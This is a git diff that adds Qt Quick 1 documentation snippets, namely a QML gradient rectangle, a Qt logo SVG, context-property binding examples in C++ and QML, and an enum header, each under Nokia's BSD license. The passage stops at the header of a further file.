diff --git a/doc/src/snippets/qtquick1/qml-documents/qmldocuments.qml b/doc/src/snippets/qtquick1/qml-documents/qmldocuments.qml
new file mode 100644
index 0000000000..2d08d655ec
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qml-documents/qmldocuments.qml
@@ -0,0 +1,66 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Rectangle {
+ property alias text: textItem.text
+
+ width: 100; height: 30
+ border.width: 1
+ radius: 5
+ smooth: true
+
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "darkGray" }
+ GradientStop { position: 0.5; color: "black" }
+ GradientStop { position: 1.0; color: "darkGray" }
+ }
+
+ Text {
+ id: textItem
+ anchors.centerIn: parent
+ font.pointSize: 20
+ color: "white"
+ }
+
+}
+//! [document]
diff --git a/doc/src/snippets/qtquick1/qml-intro/images/qt-logo.svg b/doc/src/snippets/qtquick1/qml-intro/images/qt-logo.svg
new file mode 100644
index 0000000000..8c018be6a2
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qml-intro/images/qt-logo.svg
@@ -0,0 +1,104 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ clip-rule="evenodd"
+ stroke-miterlimit="10"
+ viewBox="0 0 174.35 209.78"
+ id="svg2"
+ sodipodi:version="0.32"
+ inkscape:version="0.46"
+ width="744.09186"
+ height="895.29858"
+ sodipodi:docname="qt-logo.svg"
+ inkscape:output_extension="org.inkscape.output.svg.inkscape"
+ version="1.0"
+ style="stroke-miterlimit:10">
+ <metadata
+ id="metadata29">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <sodipodi:namedview
+ inkscape:window-height="668"
+ inkscape:window-width="722"
+ inkscape:pageshadow="2"
+ inkscape:pageopacity="0.0"
+ guidetolerance="10.0"
+ gridtolerance="10.0"
+ objecttolerance="10.0"
+ borderopacity="1.0"
+ bordercolor="#666666"
+ pagecolor="#ffffff"
+ id="base"
+ showgrid="false"
+ inkscape:zoom="0.12195802"
+ inkscape:cx="525.6108"
+ inkscape:cy="-287.87189"
+ inkscape:window-x="476"
+ inkscape:window-y="228"
+ inkscape:current-layer="svg2" />
+ <desc
+ id="desc4">SVG generated by Lineform</desc>
+ <defs
+ id="defs6">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 526.18109 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="744.09448 : 526.18109 : 1"
+ inkscape:persp3d-origin="372.04724 : 350.78739 : 1"
+ id="perspective31" />
+ </defs>
+ <g
+ id="g8"
+ transform="translate(-1.5304326e-4,-3.775985e-4)">
+ <path
+ d="M 43.08,0.36 C 40.94,0 38.84,-0.08 36.81,0.08 L 36.8,0.08 C 36.8,0.08 22.92,1.02 22.29,1.07 C 9.62,2.08 0,12.5 0,26.89 L 0,196.55 L 14.19,209.78 L 156.79,185.81 C 166.6,184.11 174.35,172.54 174.35,160.04 L 174.35,21.88 L 43.08,0.36"
+ id="path10"
+ style="fill:#0c481e" />
+ <path
+ d="M 174.35,160.04 C 174.35,172.54 166.6,184.11 156.79,185.82 L 14.19,209.78 L 14.19,25.99 C 14.19,9.27 27.53,-2.21 43.08,0.36 L 174.35,21.88 L 174.35,160.04"
+ id="path12"
+ style="fill:#66b036" />
+ <path
+ d="M 130.42,45.91 L 141.94,47.15 L 141.94,67.36 L 154.9,68.28 L 154.9,80.96 L 141.94,80.36 L 141.94,126.69 C 141.94,130.72 142.38,133.31 143.28,134.48 C 144.08,135.55 145.32,136.07 146.99,136.07 C 147.15,136.07 147.32,136.07 147.48,136.06 C 150.03,135.91 152.81,135.13 155.83,133.75 L 155.83,145.4 C 150.69,147.65 145.65,149 140.7,149.42 C 139.99,149.47 139.29,149.5 138.62,149.5 C 134.14,149.5 130.72,148.2 128.38,145.57 C 125.65,142.52 124.29,137.62 124.29,130.9 L 124.29,79.54 L 118.06,79.26 L 118.06,65.67 L 125.65,66.22 L 130.42,45.91"
+ id="path14"
+ style="fill:#ffffff" />
+ <path
+ d="M 154.9,80.96 L 141.94,80.36 L 141.94,80.64 L 148.88,80.96 L 154.9,80.96"
+ id="path16"
+ style="fill:#0c481e" />
+ <path
+ d="M 144.64,135.6 C 145.3,135.92 146.07,136.07 146.99,136.07 C 147.15,136.07 147.32,136.07 147.48,136.06 C 150.03,135.91 152.81,135.13 155.83,133.75 L 149.81,133.75 C 147.99,134.58 146.28,135.21 144.64,135.6"
+ id="path18"
+ style="fill:#0c481e" />
+ <path
+ d="M 128.38,145.57 C 125.65,142.52 124.29,137.62 124.29,130.9 L 124.29,79.54 L 118.06,79.26 L 118.06,65.67 L 112.05,65.67 L 112.05,68.71 C 112.92,71.98 113.6,75.53 114.11,79.35 L 118.28,79.54 L 118.28,130.9 C 118.28,137.62 119.64,142.52 122.37,145.57 C 124.71,148.2 128.13,149.5 132.61,149.5 L 138.62,149.5 C 134.14,149.5 130.72,148.2 128.38,145.57 z M 130.42,45.91 L 124.41,45.91 L 119.74,65.79 L 125.65,66.22 L 130.42,45.91"
+ id="path20"
+ style="fill:#0c481e" />
+ <path
+ d="M 91.15,132.4 C 93.5,126.36 94.66,114.49 94.66,96.79 C 94.66,80.9 93.51,69.97 91.18,63.98 C 88.84,57.95 85.35,54.69 80.66,54.28 C 80.3,54.25 79.95,54.23 79.6,54.23 C 75.26,54.23 71.92,56.77 69.59,61.86 C 67.07,67.4 65.8,78.9 65.8,96.3 C 65.8,113.11 67.04,125.05 69.54,132.05 C 71.89,138.72 75.41,142.03 80.04,142.03 C 80.25,142.03 80.45,142.02 80.66,142.01 C 85.29,141.71 88.78,138.51 91.15,132.4 M 109.13,136.15 C 105.01,145.86 98.73,152.21 90.14,155.15 C 91.01,159.6 92.32,162.6 94.06,164.17 C 95.41,165.39 97.49,165.99 100.28,165.99 C 101.09,165.99 101.96,165.94 102.87,165.84 L 102.87,178.96 L 96.91,179.75 C 95.16,179.97 93.49,180.09 91.91,180.09 C 86.69,180.09 82.47,178.82 79.29,176.26 C 75.08,172.89 71.98,166.37 69.99,156.73 C 60.86,154.78 53.73,148.97 48.8,139.23 C 43.8,129.32 41.25,114.83 41.25,95.89 C 41.25,75.46 44.74,60.38 51.6,50.81 C 57.38,42.75 65.46,38.78 75.62,38.78 C 77.24,38.78 78.93,38.88 80.66,39.08 C 92.61,40.46 101.28,46.1 106.92,55.87 C 112.46,65.43 115.17,79.14 115.17,97.13 C 115.17,113.62 113.17,126.58 109.13,136.15"
+ id="path22"
+ style="fill:#ffffff" />
+ <path
+ d="M 100.28,165.99 C 101.09,165.99 101.95,165.94 102.87,165.84 L 98.04,165.84 C 98.71,165.94 99.49,165.99 100.28,165.99"
+ id="path24"
+ style="fill:#0c481e" />
+ <path
+ d="M 84.85,63.98 C 87.19,69.97 88.34,80.9 88.34,96.79 C 88.34,114.49 87.18,126.36 84.82,132.4 C 82.93,137.28 80.3,140.31 76.96,141.48 C 77.93,141.84 78.96,142.03 80.04,142.03 C 80.25,142.03 80.45,142.02 80.66,142.01 C 85.29,141.71 88.78,138.51 91.15,132.4 C 93.5,126.36 94.66,114.49 94.66,96.79 C 94.66,80.9 93.51,69.97 91.18,63.98 C 88.84,57.95 85.35,54.69 80.66,54.28 C 80.3,54.25 79.95,54.23 79.6,54.23 C 78.51,54.23 77.48,54.39 76.52,54.72 L 76.52,54.72 C 80.12,55.83 82.89,58.93 84.85,63.98 z M 82.51,178.25 C 82.4,178.2 82.28,178.15 82.17,178.09 C 82.16,178.09 82.15,178.08 82.14,178.08 C 82.03,178.03 81.93,177.97 81.83,177.92 C 81.81,177.91 81.79,177.9 81.77,177.89 C 81.68,177.84 81.59,177.79 81.49,177.74 C 81.46,177.72 81.44,177.71 81.41,177.69 C 81.33,177.65 81.24,177.6 81.16,177.55 C 81.12,177.53 81.09,177.51 81.05,177.48 C 80.98,177.44 80.91,177.4 80.84,177.36 C 80.79,177.33 80.74,177.3 80.7,177.27 C 80.64,177.23 80.58,177.19 80.52,177.15 C 80.46,177.12 80.41,177.08 80.35,177.04 C 80.3,177.01 80.25,176.98 80.2,176.94 C 80.14,176.9 80.07,176.85 80.01,176.81 C 79.97,176.78 79.93,176.75 79.89,176.72 C 79.82,176.67 79.74,176.61 79.67,176.55 C 79.64,176.54 79.61,176.52 79.59,176.5 C 79.49,176.42 79.39,176.34 79.29,176.26 C 75.08,172.89 71.98,166.37 69.99,156.73 C 60.86,154.78 53.73,148.97 48.8,139.23 C 43.8,129.32 41.25,114.83 41.25,95.89 C 41.25,75.46 44.74,60.38 51.6,50.81 C 57.38,42.75 65.46,38.78 75.62,38.78 C 75.65,38.78 69.27,38.77 69.27,38.77 L 69.27,38.78 C 59.12,38.78 51.05,42.75 45.27,50.81 C 38.41,60.38 34.92,75.46 34.92,95.89 C 34.92,114.83 37.47,129.32 42.47,139.23 C 47.41,148.97 54.53,154.78 63.67,156.73 C 65.65,166.37 68.76,172.89 72.96,176.26 C 76.14,178.82 80.36,180.09 85.58,180.09 C 85.68,180.09 85.78,180.09 85.88,180.09 L 91.42,180.09 C 88.01,180.03 85.04,179.43 82.52,178.26 C 82.51,178.26 82.51,178.26 82.51,178.25"
+ id="path26"
+ style="fill:#0c481e" />
+ </g>
+</svg>
diff --git a/doc/src/snippets/qtquick1/qtbinding/context-advanced/MyItem.qml b/doc/src/snippets/qtquick1/qtbinding/context-advanced/MyItem.qml
new file mode 100644
index 0000000000..319dff23a9
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/context-advanced/MyItem.qml
@@ -0,0 +1,46 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// MyItem.qml
+import QtQuick 1.0
+
+Text { text: applicationData.getCurrentDateTime() }
+//![0]
+
diff --git a/doc/src/snippets/qtquick1/qtbinding/context-advanced/applicationdata.h b/doc/src/snippets/qtquick1/qtbinding/context-advanced/applicationdata.h
new file mode 100644
index 0000000000..0a6d2e0693
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/context-advanced/applicationdata.h
@@ -0,0 +1,52 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QObject>
+#include <QDateTime>
+
+//![0]
+class ApplicationData : public QObject
+{
+ Q_OBJECT
+public:
+ Q_INVOKABLE QDateTime getCurrentDateTime() const {
+ return QDateTime::currentDateTime();
+ }
+};
+//![0]
diff --git a/doc/src/snippets/qtquick1/qtbinding/context-advanced/connections.qml b/doc/src/snippets/qtquick1/qtbinding/context-advanced/connections.qml
new file mode 100644
index 0000000000..1b16da0ad9
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/context-advanced/connections.qml
@@ -0,0 +1,52 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+//![0]
+Text {
+ text: applicationData.getCurrentDateTime()
+
+ Connections {
+ target: applicationData
+ onDataChanged: console.log("The application data changed!")
+ }
+}
+//![0]
+
diff --git a/doc/src/snippets/qtquick1/qtbinding/context-advanced/main.cpp b/doc/src/snippets/qtquick1/qtbinding/context-advanced/main.cpp
new file mode 100644
index 0000000000..fd5f780863
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/context-advanced/main.cpp
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+#include "applicationdata.h"
+
+//![0]
+int main(int argc, char *argv[]) {
+ QApplication app(argc, argv);
+
+ QDeclarativeView view;
+
+ ApplicationData data;
+ view.rootContext()->setContextProperty("applicationData", &data);
+
+ view.setSource(QUrl::fromLocalFile("MyItem.qml"));
+ view.show();
+
+ return app.exec();
+}
+//![0]
+
diff --git a/doc/src/snippets/qtquick1/qtbinding/context/MyItem.qml b/doc/src/snippets/qtquick1/qtbinding/context/MyItem.qml
new file mode 100644
index 0000000000..8137f24205
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/context/MyItem.qml
@@ -0,0 +1,45 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// MyItem.qml
+import QtQuick 1.0
+
+Text { text: currentDateTime }
+//![0]
diff --git a/doc/src/snippets/qtquick1/qtbinding/context/main.cpp b/doc/src/snippets/qtquick1/qtbinding/context/main.cpp
new file mode 100644
index 0000000000..f4149ace10
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/context/main.cpp
@@ -0,0 +1,56 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+//![0]
+QDeclarativeView view;
+view.rootContext()->setContextProperty("currentDateTime", QDateTime::currentDateTime());
+view.setSource(QUrl::fromLocalFile("MyItem.qml"));
+view.show();
+//![0]
+
+ return app.exec();
+}
+
diff --git a/doc/src/snippets/qtquick1/qtbinding/enums/imageviewer.h b/doc/src/snippets/qtquick1/qtbinding/enums/imageviewer.h
new file mode 100644
index 0000000000..743a69bb6d
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/enums/imageviewer.h
@@ -0,0 +1,68 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+//![start]
+class ImageViewer : public QDeclarativeItem
+{
+ Q_OBJECT
+ Q_ENUMS(Status)
+ Q_PROPERTY(Status status READ status NOTIFY statusChanged)
+public:
+ enum Status {
+ Ready,
+ Loading,
+ Error
+ };
+
+ Status status() const;
+//![start]
+
+ ImageViewer(QDeclarativeItem *parent = 0);
+
+public slots:
+ void emitSignals();
+
+//![end]
+signals:
+ void statusChanged();
+};
+//![end]
diff --git a/doc/src/snippets/qtquick1/qtbinding/enums/standalone.qml b/doc/src/snippets/qtquick1/qtbinding/enums/standalone.qml
new file mode 100644
index 0000000000..74e2c9c91d
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/enums/standalone.qml
@@ -0,0 +1,64 @@
